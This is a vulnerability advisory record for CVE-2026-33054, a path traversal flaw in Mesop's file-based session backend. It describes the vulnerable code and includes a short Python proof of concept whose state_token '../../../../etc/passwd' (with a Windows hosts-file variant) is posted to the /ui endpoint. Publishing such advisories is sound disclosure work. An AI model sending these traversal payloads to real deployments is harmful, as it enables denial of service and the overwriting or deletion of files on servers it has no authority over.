{"id":"CVE-2026-33054","aliases":["GHSA-8qvf-mr4w-9x2c","PYSEC-2026-411"],"url":"https://o3.security/vulnerability/CVE-2026-33054","summary":"Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion","details":"#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -> Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.","published":"2026-03-20T06:57:35.948Z","modified":"2026-08-12T03:51:36.638831562Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00713,"percentile":0.5085,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"mesop","fixedVersion":"1.2.3"}],"fix":{"url":"https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b","label":"mesop-dev/mesop@c6b382f"},"references":[{"type":"WEB","url":"https://github.com/mesop-dev/mesop/releases/tag/v1.2.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33054.json"},{"type":"ADVISORY","url":"https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33054"},{"type":"FIX","url":"https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b"},{"type":"PACKAGE","url":"https://github.com/mesop-dev/mesop"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.638831562Z"}}